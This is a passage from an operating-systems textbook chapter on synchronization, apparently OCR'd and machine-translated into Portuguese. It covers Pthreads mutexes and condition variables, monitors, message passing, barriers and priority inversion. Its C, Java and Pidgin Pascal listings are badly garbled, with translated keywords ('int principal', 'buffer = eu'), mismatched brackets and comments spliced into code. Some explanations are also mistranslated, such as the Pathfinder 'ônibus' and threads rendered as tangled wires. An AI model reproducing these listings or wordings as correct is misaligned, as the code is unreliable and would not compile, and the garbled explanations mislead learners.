mutex inite pthread mutex destroy, respectivamente. Eles podem _— 
também ser bloqueado - por pthread mutex lock -que tenta adquirir o bloqueio e 
bloqueia se já estiver bloqueado. Também existe uma opção para tentar bloquear um mutex e 
falhando com um código de erro em vez de bloquear se já estiver bloqueado. Esta chamada é 
pthread mutex trylock. Esta chamada permite que um thread efetivamente faça uma espera ocupada se 
isso é sempre necessário. Finalmente, pthread mutex unlock desbloqueia um mutex e libera 
exatamente um thread se um ou mais estiverem esperando por ele. Os mutexes também podem ter 
atributos, mas estes são usados apenas para fins especializados. 


Chamada de tópico Descrição 


pthread mutex init pthread Crie um mutex 


mutex destroy Destrua um mutex ẹxistente 


bloqueio mutex pthread Adquira um cadeado ou bloco 


pthread mutex tr ylock Adquira um bloqueio ou falhe 


pthread mutex unlock Libera um bloqueio 


Figura 2-31. Algumas das chamadas do Pthreads relacionadas a mutexes. 


Além dos mutexes, o Pthreads oferece um segundo mecanismo de sincronização, 
variáveis de condição, discutidas posteriormente. Mutexes são bons para permitir ou bloquear 
acesso a uma região crítica. Variáveis de condição permitem que threads sejam bloqueados devido a alguns 
condição não sendo atendida. Quase sempre os dois métodos são usados juntos. Deixe-nos 
agora observe a interação de threads, mutexes e variáveis de condição daqui a pouco 
Mais detalhes. 

Como exemplo simples, consideremos novamente o cenário produtor-consumidor: um 
thread coloca as coisas em um buffer e outro as retira. Se o produtor descobrir que não há mais slots livres 
disponíveis no buffer, ele deverá bloquear até 
um fica disponível. Os mutexes permitem fazer a verificação atomicamente sem interferência de outras 
threads, mas ao descobrir que o buffer está cheio, o 
o produtor precisa de uma maneira de bloquear e ser acordado mais tarde. Isto é o que as variáveis de 
condição permitem. 

As chamadas mais importantes relacionadas às variáveis de condição são mostradas na Figura 2.32. 
Como você provavelmente esperaria, existem chamadas para criar e destruir condições 
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variáveis. Eles podem ter atributos e existem diversas chamadas para gerenciar os atributos (não 
mostradas). As operações mais importantes em variáveis de condição são pthread cond wait e pthread 
cond signal. O primeiro bloqueia o thread de chamada até que algum outro thread o sinalize (usando a 
última chamada). Os motivos do bloqueio e da espera não fazem parte do protocolo de espera e 
sinalização, é claro. 

O encadeamento de bloqueio geralmente está aguardando que o encadeamento de sinalização execute 
algum trabalho, libere algum recurso ou execute alguma outra atividade. Só então o thread de bloqueio 
pode continuar. As variáveis de condição permitem que essa espera e bloqueio sejam feitos de forma 
atômica. A chamada de transmissão pthread cond é usada quando há vários threads potencialmente 
bloqueados e aguardando o mesmo sinal. 


Chamada de tópico Descrição 

pthread cond init — Crie uma variável de condição 
pthread cond destroy pthread Destruir uma variável de condição 
cond wait pthread cond Bloquear aguardando um sinal 
signal pthread cond. Sinalize outro tópico e acorde-o 
broadcast Sinaliza vários threads ejativa todos eles 


Figura 2-32. Algumas das chamadas Pthreads relacionadas a variáveis de condição. 


Variáveis de condição e mutexes são sempre usados juntos. O padrão é que um thread bloqueie um 
mutex e aguarde uma variável condicional quando não conseguir o que precisa. Eventualmente, outro 
thread sinalizará e ele poderá continuar. A cnamada pthread cond wait desbloqueia atomicamente o 
mutex que está mantendo. Então, após o retorno bem-sucedido, o mutex deverá ter sido bloqueado 
novamente e pertencer ao thread de chamada. Por esse motivo, o mutex é um dos parâmetros. 


Também vale a pena notar que as variáveis de condição (diferentemente dos semáforos) não 
possuem memória. Se um sinal for enviado para uma variável de condição na qual nenhum thread está 
aguardando, o sinal será perdido. Os programadores devem ter cuidado para não perder sinais. 

Como exemplo de como mutexes e variáveis de condição são usados, a Figura 2.33 mostra um 
problema muito simples de produtor-consumidor com um único buffer de item. Quando o produtor enche 
o buffer, ele deve esperar até que o consumidor o esvazie antes de produzir o próximo item. Da mesma 
forma, quando o consumidor retira um item, deve esperar até que o produtor produza outro. Embora muito 
simples, este exemplo ilustra os mecanismos básicos. A instrução que coloca um thread em suspensão 
deve sempre verificar a condição para ter certeza de que está satisfeita antes de continuar, pois o thread 
pode ter sido despertado devido a um sinal UNIX ou algum outro motivo. 


2.4.7 Monitores 


Com semáforos e mutexes, a comunicação entre processos parece fácil, certo? 
Esqueça. Observe atentamente a ordem das descidas antes de inserir ou remover itens do buffer na 
Figura 2-28. Suponha que as duas descidas no código do produtor 
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#include <stdio.h> 
#include <pthread.h> 


#define MAX 1000000000 /* quantos números produzir */ 

pthread mutex para o mutex; 

pthread cond t condc, condp; buffer /* usado para sinalização 

interno = 0; */ /* buffer usado entre produtor e consumidor */ 
void *produtor(void *ptr) { int /* produz dados */ 


1; 
for (i= 1; i <= MAX; i++) 
{ pthread mutex lock(&o mutex); /* obtém acesso exclusivo ao buffer */ while (buffer != 
0) pthread cond wait(&condp, &the mutex); buffer = eu; /* coloca o item 
no buffer */ pthread cond signal(&condc); /* acorda o consumidor */ 
pthread mutex unlock(&the mutex); /* libera acesso ao buffer */ 


} pthread saída(0); 


void *consumidor(void *ptr) /* consome dados */ 
{ inti; 
for (i = 1; i <= MAX; i++) 
{ pthread mutex lock(&o mutex); /* obtém acesso exclusivo ao buffer */ while (buffer 
==0 ) pthread cond wait(&condc, &the mutex); buffer = 0; /* pega o item 
do buffer (não mostrado) e reinicializa */ pthread cond signal(&condp); /* acorda o produtor */ pthread mutex 
unlock(&the mutex); /* libera acesso ao buffer */ 


) pthread saída(0); 


int principal(int argc, char **argv) ( 


pthread t pró, contra; 

pthread mutex init(&o mutex, 0): pthread 
cond init(&condc, 0); pthread cond 
init(&condp, 0); pthread create(&con, 

O, consumidor, 0); pthread create(&pro, 0, 
produtor, 0); pthread join(pro, 0); pthread 
join(con, 0); pthread 

cond destruir(&condc); 

pthread cond destruir(&condp); pthread 
mutex destroy(&o mutex); 


Figura 2-33. Usando threads para resolver o problema produtor-consumidor. 
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foram invertidos em ordem, então o mutex foi decrementado antes de vazio , em vez de depois dele. 
Se o buffer estivesse completamente cheio, o produtor bloquearia, com o mutex definido como 0. 
Consequentemente, na próxima vez que o consumidor tentasse acessar o buffer, ele faria um down no 
mutex, agora 0, e bloquearia também. Ambos os processos permaneceriam bloqueados para sempre e 
nenhum trabalho seria realizado. Esta situação infeliz é chamada de impasse. Estudaremos os impasses 
em detalhes no Cap. 6. 

Este problema é apontado para mostrar o quão cuidadoso você deve ter ao usar semáforos. Um 
erro sutil e tudo para. É como programar em linguagem assembly, só que pior, porque os erros são 
condições de corrida, impasses e outras formas de comportamento imprevisível e irreproduzível. 


Para facilitar a escrita de programas corretos, Brinch Hansen (1973) e Hoare (1974) propuseram 
uma primitiva de sincronização de nível superior chamada monitor. As suas propostas diferiam 
ligeiramente, conforme descrito abaixo. Um monitor é uma coleção de procedimentos, variáveis e 
estruturas de dados agrupados em um tipo especial de módulo ou pacote. Os processos podem chamar 
os procedimentos em um monitor sempre que desejarem, mas não podem acessar diretamente as 
estruturas de dados internas do monitor a partir de procedimentos declarados fora do monitor. A Figura 
2-34 ilustra um monitor escrito em uma linguagem imaginária, Pidgin Pascal. C não pode ser usado aqui 
porque monitores são um conceito de linguagem e C não os possui. 


monitor exemplo 
inteiro i; 
condição c; 


produtor de procedimento (); 


fim; 
procedimento consumidor( ); 


fim; 
monitor final; 


Figura 2-34. Um monitor. 


Os monitores possuem uma propriedade importante que os torna úteis para alcançar a exclusão 
mútua: apenas um processo pode estar ativo em um monitor a qualquer momento. Monitores são uma 
construção de linguagem de programação, portanto o compilador sabe que eles são especiais e podem 
lidar com chamadas para monitorar procedimentos de maneira diferente de outras chamadas de procedimento. 
Normalmente, quando um processo chama um procedimento de monitor, as primeiras instruções do 
procedimento verificarão se algum outro processo está atualmente ativo no monitor. Nesse caso, o 
processo de chamada será suspenso até que o outro processo saia do monitor. Se nenhum outro 
processo estiver usando o monitor, o processo cnamador poderá entrar. 
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Cabe ao compilador implementar a exclusão mútua nas entradas do monitor, mas uma 
forma comum é usar um mutex ou um semáforo binário. Como o compilador, e não o programador, 
está providenciando a exclusão mútua, é muito menos provável que algo dê errado. De qualquer 
forma, a pessoa que escreve o monitor não precisa estar ciente de como o compilador organiza 
a exclusão mútua. É suficiente saber que ao transformar todas as regiões críticas em 
procedimentos de monitorização, nunca dois processos executarão as suas regiões críticas ao 
mesmo tempo. 

Embora os monitores proporcionem uma forma fácil de alcançar a exclusão mútua, como 
vimos acima, isso não é suficiente. Também precisamos de uma forma de bloquear os processos 
quando não podem prosseguir. No problema produtor-consumidor, é bastante fácil colocar todos 
os testes para buffer cheio e buffer vazio em procedimentos de monitoramento, mas como o 
produtor deve bloquear quando encontrar o buffer cheio? 

A solução reside novamente na introdução de variáveis de condição, juntamente com duas 
operações sobre elas, esperar e sinalizar. Quando um procedimento monitor descobre que não 
pode continuar (por exemplo, o produtor encontra o buffer cheio), ele espera por alguma variável 
de condição, digamos, full. Esta ação faz com que o processo de chamada seja bloqueado. 
Também permite que outro processo que anteriormente estava proibido de entrar no monitor 
entre agora. Vimos variáveis de condição e essas operações no contexto de Pthreads 
anteriormente. 

Esse outro processo, por exemplo, o consumidor, pode acordar seu parceiro adormecido 
fazendo um sinal na variável de condição que seu parceiro está esperando. Para evitar ter dois 
processos ativos no monitor ao mesmo tempo, precisamos de uma regra que diga o que acontece 
após um sinal. Hoare propôs deixar o processo recém-despertado funcionar, suspendendo o 
outro. Brinch Hansen propôs resolver o problema exigindo que um processo que emite um sinal 
saísse do monitor imediatamente. 

Em outras palavras, uma declaração de sinal pode aparecer apenas como a declaração final 

em um procedimento de monitor. Usaremos a proposta de Brinch Hansen porque é 
conceitualmente mais simples e também mais fácil de implementar. Se um sinal for feito em uma 
variável de condição na qual vários processos estão aguardando, apenas um deles, determinado 
pelo escalonador do sistema, será revivido. 

À parte, há também uma terceira solução, não proposta nem por Hoare nem por Brinch 
Hansen. Isso permite que o sinalizador continue a funcionar e que o processo de espera comece 
a funcionar somente depois que o sinalizador tiver saído do monitor. 

Variáveis de condição não são contadores. Eles não acumulam sinais para uso posterior 
como fazem os semáforos. Assim, se uma variável de condição for sinalizada sem ninguém 
esperando por ela, o sinal será perdido para sempre. Em outras palavras, a espera deve vir 
antes do sinal. Esta regra torna a implementação muito mais simples. Na prática, isso não é um 
problema porque é fácil acompanhar o estado de cada processo com variáveis, se necessário. 
Um processo que de outra forma poderia emitir um sinal pode ver que esta operação não é 
necessária observando as variáveis. 

Um esqueleto do problema produtor-consumidor com monitores é apresentado na Figura 
2.35 em Pidgin Pascal. A vantagem de usar Pidgin Pascal aqui é que ele é puro e simples e 
segue exatamente o modelo Hoare/Brinch Hansen. 
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monitorar a condição 


ProducerConsumer cheia, 
vazia; contagem de inteiros ; 


inserção de procedimento (item: 
inteiro); 
comece se contar = Nentão 
espere (completo); 
inserir item(item); 
contar := contar + 1; se contagem = 1 então sinaliza (vazio) 
fim; 
função remover: inteiro; 


comece se contar = O então espere (vazio); 
remover = remover item; 
contagem := contagem 
1; se contagem = N 1 então sinal (completo) 
fim; 


contar := 
0; monitor final; 


produtor de 


procedimento ; 


começar enquanto verdadeiro 
começar item = produzir item; ProdutorConsumidor.inseri(item) 
fim 
fim; 


procedimento consumidor; 


comece enquanto 


verdadeiro , comece item = 


ProducerConsumer.remove; consumir item(item) 
fim 
fim; 


Figura 2-35. Um esboço do problema produtor-consumidor com monitores. Apenas 
um procedimento de monitor por vez está ativo. O buffer possui N slots. 


Você pode estar pensando que as operações de espera e sinal são semelhantes às de 
suspensão e ativação, que vimos anteriormente com condições de corrida fatais. Bem, eles 
são muito parecidos, mas com uma diferença crucial: o sono e a ativação falharam porque 
enquanto um processo tentava adormecer, o outro tentava acordá-lo. Com monitores isso 
não pode acontecer. A exclusão mútua automática em procedimentos de monitoramento 
garante que se, digamos, o produtor dentro de um procedimento de monitoramento descobrir 
que o buffer está cheio, ele será capaz de completar a operação de espera sem ter que esperar. 
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preocupe-se com a possibilidade de o agendador mudar para o consumidor pouco antes de a 
espera terminar. O consumidor nem mesmo poderá entrar no monitor até que a espera termine 
e o produtor seja marcado como não mais executável. 

Embora Pidgin Pascal seja uma linguagem imaginária, algumas linguagens de programação 
reais também suportam monitores, embora nem sempre na forma projetada por Hoare e Brinch 
Hansen. Uma dessas linguagens é Java. Java é uma linguagem orientada a objetos que oferece 
suporte a threads de nível de usuário e também permite que métodos (procedimentos) sejam 
agrupados em classes. Ao adicionar a palavra-chave sincronizada a uma declaração de método, 
Java garante que, uma vez que qualquer thread tenha iniciado a execução desse método, 
nenhum outro thread poderá iniciar a execução de qualquer outro método sincronizado desse 
objeto. Sem sincronizado, não há garantias sobre a intercalação. 

Uma solução para o problema produtor-consumidor usando monitores em Java é 
apresentada na Figura 2.36. Nossa solução possui quatro classes. A classe externa, 
ProducerConsumer, cria e inicia dois threads, p e c. A segunda e terceira classes, produtor e 
consumidor, respectivamente, contêm o código do produtor e do consumidor. Por fim, a classe 
nosso monitor é o monitor. Ele contém dois threads sincronizados que são usados para inserir 
itens no buffer compartilhado e retirá-los. Ao contrário dos exemplos anteriores, aqui temos o 
código completo de inserção e remoção. 

Os threads produtor e consumidor são funcionalmente idênticos aos seus homólogos em 
todos os nossos exemplos anteriores. O produtor possui um loop infinito gerando dados e 
colocando-os no buffer comum. O consumidor tem um loop igualmente infinito retirando dados 
do buffer comum e fazendo algo divertido com eles. 

A parte interessante deste programa é a classe our monitor, que contém o buffer, as 
variáveis de administração e dois métodos sincronizados. Quando o produtor está ativo dentro 
de insert, ele sabe com certeza que o consumidor não pode estar ativo dentro de remove, 
tornando seguro atualizar as variáveis e o buffer sem medo de condições de corrida. A variável 
count controla quantos itens estão no buffer. Ele pode assumir qualquer valor de 0a N1 
inclusive. A variável /o é o índice do slot do buffer onde o próximo item deve ser buscado. Da 
mesma forma, hi é o índice do slot do buffer onde o próximo item será colocado. É permitido 
que lo = hi, o que significa que O itens ou N itens estão no buffer. O valor de count informa qual 
caso é válido. 


Os métodos sincronizados em Java diferem dos monitores clássicos de uma maneira 
essencial: Java não possui variáveis de condição incorporadas. Em vez disso, ele oferece dois 
procedimentos, wait e notify, que são equivalentes a sleep e wakeup , exceto que quando são 
usados dentro de métodos, eles não estão sujeitos a condições de corrida. Em teoria, a espera 
do método pode ser interrompida, e é disso que se trata o código que o rodeia. Java exige que 
o tratamento de exceções seja explicitado. 

Para nossos propósitos, imagine que dormiré a maneira de dormir. 

Ao tornar automática a exclusão mútua de regiões críticas, os monitores tornam a 
programação paralela muito menos propensa a erros do que o uso de semáforos. No entanto, 
eles também apresentam algumas desvantagens. Não é à toa que nossos dois exemplos de 
monitores estavam em Pidgin Pascal em vez de C, assim como os outros exemplos deste livro. 


Machine Translated by Google 


144 PROCESSOS E LINHAS 


classe pública ProdutorConsumidor ( 
final estático int N = 100; // constante informando o tamanho do buffer 
produtor estático p = novo produtor(); // instancia um novo thread produtor 
consumidor estático c = novo consumidor(); // instancia um novo thread de consumo 
static nosso monitor mon = new nosso monitor(); // instancia um novo monitor 


public static void main(String args[ ]) { 
p.estrela t(); // inicia o thread do produtor 
c.estrela t(); / inicia o thread do consumidor 


) 


produtor de classe estática estende Thread ( 
public void run() (// método run contém o código do thread 
item interno; 
while (true) (//l00p produtor 
item = produzir item(); 
mon. inser t(item); 


) 


privado int produzir item() (...) // realmente produz 


) 


consumidor de classe estática estende Thread ( 
public void run() ( método run contém o código do thread 
item interno; 
while (true) { // loop do consumidor 
item = mon.remove(); 
consumir item (item); 


) 


private void consumir item(int item) (.... }// realmente consumir 


) 


classe estática nosso monitor ( // este é um monitor 
buffer interno privado[ ] = novo int[N]; 
contagem int privada = 0, lo = 0, hi = 0; // contadores e índices 


inserção pública sincronizada void(int val) ( 
if (contagem == N) vá-dormir (); // se o buffer estiver cheio, vá dormir 
buffer [oi] = val; // insere um item no buffer 
oi = (oi + 1)% N; // slot para colocar o próximo item 
contagem = contagem + 1; //mais um item no buffer agora 
if (contagem == 1) notificar(); // se o consumidor estava dormindo, acorde-o 


) 


público sincronizado int remove() ( 
valor interno; 
if (contagem == 0) vá-dormir (); // se o buffer estiver vazio, vá dormir 
val = buffer [lo]; //busca um item do buffer 
lo = (lo + 1)% N; // slot para buscar o próximo item 
contagem = contagem // alguns itens no buffer 
1; if (contagem == N 1) notificar(); // se o produtor estava dormindo, acorde 
valor de retorno; 


) 


privado void vá dormir (.) (try (wait ( );) catch (Interr uptedException exc) {};} 


} Figura 2-36. Uma solução para o problema produtor-consumidor em Java. 


INDIVÍDUO. 2 
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Como dissemos anteriormente, monitores são um conceito de linguagem de programação. 
O compilador deve reconhecê-los e providenciar a exclusão mútua de uma forma ou de outra. C, 
Pascal e a maioria das outras linguagens não possuem monitores, portanto não é razoável 
esperar que seus compiladores imponham quaisquer regras de exclusão mútua. Na verdade, 
como o compilador poderia saber quais procedimentos estavam nos monitores e quais não estavam? 
Essas mesmas linguagens também não possuem semáforos, mas adicioná-los é fácil: tudo 
o que você precisa fazer é adicionar duas rotinas curtas de código assembly à biblioteca para 
emitir as chamadas de sistema up e down. Os compiladores nem precisam saber que eles 
existem. É claro que os sistemas operacionais precisam conhecer os semáforos, mas pelo menos 
se você tiver um sistema operacional baseado em semáforos, ainda poderá escrever os 
programas de usuário para ele em C ou C++ (ou mesmo em linguagem assembly, se você for 
masoquista o suficiente). ). Com monitores, você precisa de uma linguagem que os tenha integrados. 
Outro problema com monitores, e também com semáforos, é que eles foram 
projetados para resolver o problema de exclusão mútua em uma ou mais CPUs que 
tenham acesso a uma memória comum. Colocando os semáforos na memória 
compartilhada e protegendo-os com instruções TSL ou XCHG, podemos evitar corridas. 
Quando mudamos para um sistema distribuído composto por múltiplas CPUs, cada uma 
com sua própria memória privada e conectada por uma rede local, essas primitivas 
tornam-se inaplicáveis. A conclusão é que os semáforos são de nível muito baixo e os 
monitores não são utilizáveis exceto em algumas linguagens de programação. Além 
disso, nenhuma das primitivas permite a troca de informações entre máquinas. Algo mais é necessário 


2.4.8 Passagem de Mensagens 


Essa outra coisa é a passagem de mensagens. Este método de comunicação entre processos 
utiliza duas primitivas, enviar e receber, que, como os semáforos e diferentemente dos monitores, 
são chamadas de sistema em vez de construções de linguagem. Como tal, eles podem ser facilmente 
colocados em procedimentos de biblioteca, como 


enviar(destino, &mensagem); 


receber(fonte, &mensagem); 


A primeira cnamada envia uma mensagem para um determinado destino e a segunda recebe uma 
mensagem de uma determinada fonte (ou de QUALQUER, se o receptor não se importar). Se nenhuma 
mensagem estiver disponível, o receptor poderá bloquear até que uma chegue. Alternativamente, ele 
pode retornar imediatamente com um código de erro. 


Problemas de design para sistemas de passagem de mensagens 
Os sistemas de passagem de mensagens apresentam muitos problemas e questões de design 


que não surgem com semáforos ou monitores, especialmente se os processos de comunicação 
estiverem em máquinas diferentes conectadas por uma rede. Por exemplo, as mensagens podem ser 
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perdido pela rede. Para se proteger contra mensagens perdidas, o remetente e o destinatário podem 
concorda que assim que uma mensagem for recebida, o destinatário enviará de volta um 
mensagem especial de reconhecimento. Se o remetente não receber a confirmação dentro de um determinado 
intervalo de tempo, ele retransmite a mensagem. 

Agora considere o que acontece se a mensagem for recebida corretamente, mas a confirmação ao remetente 
for perdida. O remetente retransmitirá a mensagem, 
então o receptor receberá duas vezes. É essencial que o receptor seja capaz de distinguir uma mensagem nova 
da retransmissão de uma mensagem antiga. Este problema está resolvido 
colocando números de sequência consecutivos em cada mensagem original. Se o receptor 
recebe uma mensagem com o mesmo número de sequência da mensagem anterior, 
sabe que a mensagem é uma duplicata que pode ser ignorada. A comunicação bem-sucedida diante da transmissão 
de mensagens não confiável é uma parte importante do estudo de 
redes de computadores. Para obter mais informações, consulte Tanenbaum et al. (2020). 

Os sistemas de mensagens também precisam lidar com a questão de como os processos são 
nomeado, para que o processo especificado em uma chamada de envio ou recebimento seja inequívoco. 
A autenticação também é um problema nos sistemas de mensagens: como o cliente pode saber que 
está se comunicando com o servidor de arquivos real e não com um impostor? 

No outro extremo do espectro, há também questões de design que são importantes 
quando o remetente e o destinatário estão na mesma máquina. Um deles é o desempenho. Copiar mensagens de 
um processo para outro é sempre mais lento que 
fazendo uma operação de semáforo ou entrando em um monitor. Muito trabalho foi feito para tornar a transmissão 
de mensagens eficiente. 


O problema produtor-consumidor com passagem de mensagens 


Vejamos agora como o problema produtor-consumidor pode ser resolvido com passagem de mensagens e 
sem memória compartilhada. Uma solução é dada na Figura 2.37. Nós presumimos 
que todas as mensagens tenham o mesmo tamanho e que as mensagens enviadas mas ainda não recebidas sejam 
armazenado em buffer automaticamente pelo sistema operacional. Nesta solução, um total de N mensagens é 
usado, de forma análoga aos N slots em um buffer de memória compartilhada. O consumidor 
começa enviando N mensagens vazias ao produtor. Sempre que o produtor 
tem um item para dar ao consumidor, ele pega uma mensagem vazia e envia de volta um 
completo. Desta forma, o número total de mensagens no sistema permanece constante 
no tempo, para que possam ser armazenados em uma determinada quantidade de memória conhecida antecipadamente. 
Se o produtor trabalhar mais rápido que o consumidor, todas as mensagens acabarão 
cheio, aguardando o consumidor; o produtor ficará bloqueado, aguardando um vazio 
voltar. Se o consumidor trabalhar mais rápido, então acontece o inverso: todas as mensagens ficarão vazias 
esperando que o produtor as preencha; o consumidor será 
bloqueado, aguardando uma mensagem completa. 
Muitas variantes são possíveis com a passagem de mensagens. Para começar, vejamos 
como as mensagens são endereçadas. Uma maneira é atribuir a cada processo um endereço exclusivo 
e fazer com que as mensagens sejam endereçadas aos processos. Uma maneira diferente é inventar um novo 


estrutura de dados, chamada caixa de correio. Uma caixa de correio é um local para armazenar um determinado número 
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#define N 100 /* número de slots no buffer */ 


produtor vazio(void) { 


item 

interno; mensagem m; /* buffer de mensagem */ 

while (TRUE) 
(item = produzir item(); /* gera algo para colocar no buffer *// * espera 
receber(consumidor, &m); que um vazio chegue */ / * constrói 
construir mensagem(&m, item); uma mensagem para enviar *//* envia 
enviar(consumidor, &m); item ao consumidor */ 


void consumidor(void) ( 


item interno, eu; 


mensagem m; 


for (i = 0; i < N; i++) send(produtor, &m); /* envia N vasilhames */ while 


(TRUE) 
( recebe(produtor, &m); /* obtém a mensagem contendo o item 
item = extrair item(&m); *//* extrai o item da mensagem *//* 
enviar(produtor, &m); envia de volta uma resposta 
consumir item(item); vazia *//* faz algo com o item */ 


Figura 2-37. O problema produtor-consumidor com N mensagens. 


de mensagens, normalmente especificado quando a caixa de correio é criada. Quando caixas de correio são 
usadas, os parâmetros de endereço nas chamadas de envio e recebimento são caixas de correio e não 
processos. Quando um processo tenta enviar para uma caixa de correio cheia, ele é suspenso até que uma 
mensagem seja removida dessa caixa de correio, abrindo espaço para uma nova. 

Para o problema produtor-consumidor, tanto o produtor quanto o consumidor criariam caixas de correio 
grandes o suficiente para conter N mensagens. O produtor enviaria mensagens contendo dados reais para a 
caixa postal do consumidor, e o consumidor enviaria mensagens vazias para a caixa postal do produtor. Quando 
caixas de correio são usadas, o mecanismo de buffer é claro: a caixa de correio de destino contém mensagens 


que foram enviadas ao processo de destino, mas ainda não foram aceitas. 


O outro extremo de ter caixas de correio é eliminar todo o buffer. Quando essa abordagem é adotada, se 
o envio for feito antes do recebimento, o processo de envio fica bloqueado até que o recebimento aconteça, 
momento em que a mensagem pode ser copiada diretamente do remetente para o destinatário, sem buffer. Da 
mesma forma, se a chamada recebida for feita primeiro, o receptor será bloqueado até que ocorra um envio. 
Esta estratégia é muitas vezes 
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conhecido como encontro. É mais fácil de implementar do que um esquema de mensagens em buffer 
mas é menos flexível, pois o remetente e o destinatário são forçados a funcionar em sincronia. 

A passagem de mensagens é comumente usada em sistemas de programação paralela. Um 
Um sistema de passagem de mensagens bem conhecido, por exemplo, é o MPI (Message-Passing 
Interface). É amplamente utilizado para computação científica. Para mais informações sobre 
isso, veja por exemplo Gropp et al. (1994) e Snir et al. (1996). 


2.4.9 Barreiras 


Nosso último mecanismo de sincronização destina-se a grupos de processos, em vez de 
do que situações do tipo produtor-consumidor de dois processos. Algumas aplicações são divididas em fases e 
têm como regra que nenhum processo pode prosseguir para a próxima fase 
até que todos os processos estejam prontos para prosseguir para a próxima fase. Esse comportamento pode ser 
conseguido colocando uma barreira no final de cada fase. Quando um processo atinge 
barreira, ele é bloqueado até que todos os processos tenham alcançado a barreira. Isso permite 
grupos de processos para sincronizar. A operação da barreira é ilustrada na Figura 2-38. 


© 
Processo # 


GOGG 


Tempo j Tempo mm 


(a) (b) (c) 


Figura 2-38. Uso de uma barreira. (a) Processos que se aproximam de uma barreira. (b) 
Todos os processos exceto um bloqueado na barreira. (c) Quando o último processo 
chega à barreira, todos eles passam. 


Na Figura 2.38(a), vemos quatro processos se aproximando de uma barreira. O que isso significa é 
que estão apenas computando e ainda não chegaram ao final da fase atual. 
Depois de um tempo, o primeiro processo termina toda a computação necessária durante o 
primeira fase. Em seguida, ele executa a primitiva de barreira, geralmente cnamando um procedimento de 
biblioteca. O processo é então suspenso. Um pouco mais tarde, um segundo e depois um terceiro 
finaliza a primeira fase e também executa a primitiva de barreira. Esta situação é 
ilustrado na Figura 2.38(b). Finalmente, quando o último processo, C, atinge a barreira, todos os 
processos são liberados, como mostrado na Figura 2.38(c). 

Como exemplo de um problema que exige barreiras, considere um relaxamento comum 


problema em física ou engenharia. Normalmente existe uma matriz que contém alguns 
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valores iniciais. Os valores podem representar temperaturas em vários pontos de uma folha 
de metal. A ideia pode ser calcular quanto tempo leva para o efeito de uma chama 
colocado em um canto para se propagar por toda a folha. 

Começando com os valores atuais, uma transformação é aplicada à matriz para obter 
a segunda versão da matriz, por exemplo, aplicando as leis de 
termodinâmica para ver quais são todas as temperaturas T mais tarde. Então o processo é 
repetido indefinidamente, fornecendo as temperaturas nos pontos de amostragem em função 
de tempo enquanto a folha aquece. O algoritmo produz uma sequência de matrizes sobre 
tempo, cada um para um determinado momento. 

Agora imagine que a matriz é muito grande (por exemplo, 1 milhão por 1 milhão), de modo que são 
necessários processos paralelos (possivelmente em um multiprocessador) para acelerar 
subir o cálculo. Diferentes processos funcionam em diferentes partes da matriz, calculando os novos 
elementos da matriz a partir dos antigos, de acordo com as leis da física. 

No entanto, nenhum processo pode começar na iteração n + 1 até que a iteração n esteja completa, que 
é, até que todos os processos tenham terminado seu trabalho atual. A maneira de atingir esse objetivo 

é programar cada processo para executar uma operação de barreira depois de terminar seu 

parte da iteração atual. Quando todos eles estiverem concluídos, a nova matriz (a entrada 

para a próxima iteração) será finalizado e todos os processos serão simultaneamente 

liberado para iniciar a próxima iteração. 

Vale a pena mencionar que barreiras especiais de baixo nível também são populares para 
sincronizar operações de memória. Tais barreiras, sem imaginação chamadas de barreiras de memória 
ou barreiras de memória, impõem uma ordem para garantir que todas as operações de memória sejam executadas. 
(para ler ou escrever na memória) iniciado antes da instrução de barreira também terminará 
antes das operações de memória emitidas após a barreira. Eles são importantes porque 
CPUs modernas executam instruções fora de ordem e isso pode causar problemas. Para 
Por exemplo, se a instrução 2 não depende do resultado da instrução 1, a CPU 
pode começar a executá-lo com antecedência. Afinal, os processadores modernos são superescalares 
e possuem diversas unidades de execução para realizar cálculos e acessos à memória em 
paralelo. Na verdade, se a instrução 1 demorar muito, a instrução 2 poderá até completar 
antes dele, e a CPU pode então começar a executar a instrução 3. Agora considere o 
situação em que um thread espera por outro usando espera ocupada: 


LINHA 1: LINHA 2: 
while (turn != 1) { }/* loop */ pr x = 100; 
intf ("Yodin", x); turnon = 1; 


Se turn == 0 inicialmente e todas as instruções forem executadas em ordem, o programa imprimirá o 
valor 100. No entanto, se as instruções no Thread 2 forem executadas fora de ordem, turn irá 

ser atualizado antes de x e o valor impresso pode ser algum valor mais antigo de x. Da mesma forma, as 
instruções do Thread 1 podem ser reordenadas, fazendo-o ler x antes de realizar a verificação na linha 
acima dele. A solução em ambos os casos é colocar uma instrução de barreira entre as duas linhas. 


Aliás, as barreiras de memória muitas vezes desempenham um papel importante na mitigação de 
uma classe desagradável de vulnerabilidades de CPU que são comumente chamadas de transitórias 
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vulnerabilidades de execução. Aqui, os invasores podem explorar o fato de as CPUs executarem 
instruções fora de ordem. Entre a primeira divulgação dos problemas Meltdown e Spectre em 2018, 
muitas dessas vulnerabilidades vieram à tona. Como eles geralmente também afetam o sistema 
operacional, examinaremos brevemente os ataques de execução transitórios no Cap. 9. 


2.4.10 Inversão de Prioridade 


No início deste capítulo, mencionamos o problema da inversão de prioridades, um problema 
verdadeiramente clássico que já era conhecido na década de 1970. Agora vamos examinar isso com 
mais detalhes. 

Um famoso exemplo de inversão de prioridade ocorreu em Marte em 1997. Num impressionante 
esforço de engenharia, a NASA conseguiu pousar um pequeno robô rover no planeta vermelho, 
destinado a enviar uma riqueza de informações interessantes de volta à Terra. 

Exceto que houve um problema. As transmissões de rádio do Pathfinder pararam de enviar dados 
constantemente, exigindo reinicializações do sistema para voltar a funcionar. Acontece que três fios 
estavam se enroscando no cabelo. O Pathfinder usou uma forma de memória compartilhada, chamada 
de “barramento de informações”, para transmitir informações entre seus diferentes componentes. Um 
thread de baixa prioridade usava o ônibus periodicamente para transmitir os dados meteorológicos 
(uma espécie de boletim meteorológico de Marte) que ele havia coletado. Enquanto isso, um thread de 
alta prioridade para gerenciamento do barramento de informações também o acessaria periodicamente. 
Para evitar que ambas as threads acessassem a memória compartilhada ao mesmo tempo, seu acesso 
foi controlado por um mutex no software do rover. Um terceiro thread, de prioridade média, era 
responsável pelas comunicações e não precisava de mutex. 


A inversão de prioridade ocorreu quando o thread de baixa prioridade para coleta de dados 
meteorológicos foi substituído pelo thread de comunicações de média prioridade, enquanto mantinha o 
mutex. Depois de algum tempo, o thread de alta prioridade precisava ser executado, mas foi 
imediatamente bloqueado porque não conseguiu capturar o mutex. O thread de longa duração e 
prioridade média continuou em execução, como se tivesse prioridade mais alta que o thread do 
barramento de informações. 

Existem diferentes maneiras de resolver o problema de inversão de prioridade. A mais simples é 
desabilitar todas as interrupções enquanto estiver na região crítica. Conforme mencionado 
